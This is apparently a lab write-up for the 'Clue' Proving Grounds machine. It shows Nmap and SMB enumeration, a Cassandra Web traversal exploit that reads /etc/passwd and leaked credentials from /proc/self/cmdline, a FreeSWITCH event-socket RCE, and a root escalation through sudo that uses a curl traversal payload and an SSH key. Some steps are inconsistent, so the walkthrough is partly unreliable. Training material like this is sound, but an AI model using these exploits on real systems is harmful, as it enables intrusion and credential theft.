Skip to content

Clue Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Clue runs Cassandra Web and FreeSWITCH behind a null-auth SMB share. The Cassandra Web directory traversal (EDB-49362) reads the real event socket password straight off the server and leaks a reused credential from a process command line, giving two separate ways in: FreeSWITCH command execution and SSH. A sudo rule to re-run Cassandra Web as root turns the same traversal bug into a path to an SSH key and root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- -T4 $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp   open  http    Apache 2.4.38 (Debian) - 403 Forbidden
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba 4.9.5-Debian
3000/tcp open  http    Thin httpd (Cassandra Web)
8021/tcp open  freeswitch mod_event_socket
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

Port 80 is a 403 dead end. SMB, a Cassandra Web admin UI on 3000, and a FreeSWITCH event socket on 8021 are the interesting services.

SMB Null Session

Check for anonymous SMB access and list shares.

┌──(kali㉿kali)-[~]
└─$ sudo nxc smb $TARGET_IP -u '' -p '' --shares
SMB  $TARGET_IP  445  CLUE  [*] Enumerated shares
Share     Permissions  Remark
-----     -----------  ------
print$                 Printer Drivers
backup    READ         Backup web directory shares
IPC$                   IPC Service

Null authentication works and the backup share is readable. Grab everything in it.

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/backup -N -c 'recurse ON; prompt OFF; mget *'
getting file \etc\freeswitch\autoload_configs\event_socket.conf.xml
<snip>

Searching the dump for secrets turns up the FreeSWITCH event socket config.

<param name="password" value="ClueCon"/>

ClueCon is FreeSWITCH's documented default event socket password, so the backup is stale; the live box almost certainly uses a different one.

Cassandra Web

Browsing to port 3000 confirms Cassandra Web 0.5.0 on Thin httpd, which has a known directory traversal.

┌──(kali㉿kali)-[~]
└─$ searchsploit cassandra web
Cassandra Web 0.5.0 - Remote File Read | linux/webapps/49362.py

Exploitation

Cassandra Web file read (EDB-49362)

The exploit URL-encodes directory traversal to read arbitrary files through the web UI. Read /etc/passwd first.

┌──(kali㉿kali)-[~]
└─$ python3 49362.py $TARGET_IP /etc/passwd
root:x:0:0:root:/root:/bin/bash
<snip>
cassie:x:1000:1000:cassie:/home/cassie:/bin/bash
anthony:x:1001:1001:anthony:/home/anthony:/bin/bash
freeswitch:x:998:998::/var/lib/freeswitch:/bin/false

Read the live event socket config, which is different from the one in the backup share.

┌──(kali㉿kali)-[~]
└─$ python3 49362.py $TARGET_IP /etc/freeswitch/autoload_configs/event_socket.conf.xml
<param name="password" value="$FREESWITCH_PASSWORD"/>

Read Cassandra Web's own process command line, which leaks the credentials it was started with.

┌──(kali㉿kali)-[~]
└─$ python3 49362.py $TARGET_IP /proc/self/cmdline
/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-p$CASSIE_PASSWORD

That gives cassie:$CASSIE_PASSWORD for later, and the real FreeSWITCH password for the event socket.

FreeSWITCH RCE (EDB-47799)

Patch the real password into the FreeSWITCH event socket exploit and confirm execution.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 47799
┌──(kali㉿kali)-[~]
└─$ mv 47799.txt 47799.py
┌──(kali㉿kali)-[~]
└─$ sed -i "s/ClueCon/$FREESWITCH_PASSWORD/" 47799.py
┌──(kali㉿kali)-[~]
└─$ python3 47799.py $TARGET_IP id
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)

Command execution as freeswitch. The local flag is owned by that user, so read it directly through the same RCE.

┌──(kali㉿kali)-[~]
└─$ python3 47799.py $TARGET_IP 'cat /var/lib/freeswitch/local.txt'
<local.txt contents>

Privilege Escalation

Lateral move to cassie

Use the credential leaked from /proc/self/cmdline to SSH in directly.

┌──(kali㉿kali)-[~]
└─$ ssh cassie@$TARGET_IP
cassie@clue:~$ id
uid=1000(cassie) gid=1000(cassie) groups=1000(cassie)

Check sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User cassie may run the following commands on clue:
    (ALL) NOPASSWD: /usr/local/bin/cassandra-web

cassie can start Cassandra Web as root with no password, which turns the same traversal bug into a root-owned file read.

Root file read via a root-owned Cassandra Web

Start a second instance bound to localhost, running as root.

┌──(kali㉿kali)-[~]
└─$ sudo /usr/local/bin/cassandra-web -u cassie -p $CASSIE_PASSWORD -B 127.0.0.1:4444 &
[1] Cassandra Web listening on 127.0.0.1:4444

Reach that root-owned instance through the FreeSWITCH RCE, since it only listens on localhost.

┌──(kali㉿kali)-[~]
└─$ python3 47799.py $TARGET_IP 'curl http://127.0.0.1:4444/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2Fproof.txt'
"The proof is in another file"

The real flag has a different name; always ls the directory rather than trusting the obvious filename. Cassie's home directory also holds an SSH private key commented anthony@clue.

┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa root@$TARGET_IP
root@clue:~# id
uid=0(root) gid=0(root) groups=0(root)

That key authenticates straight in as root.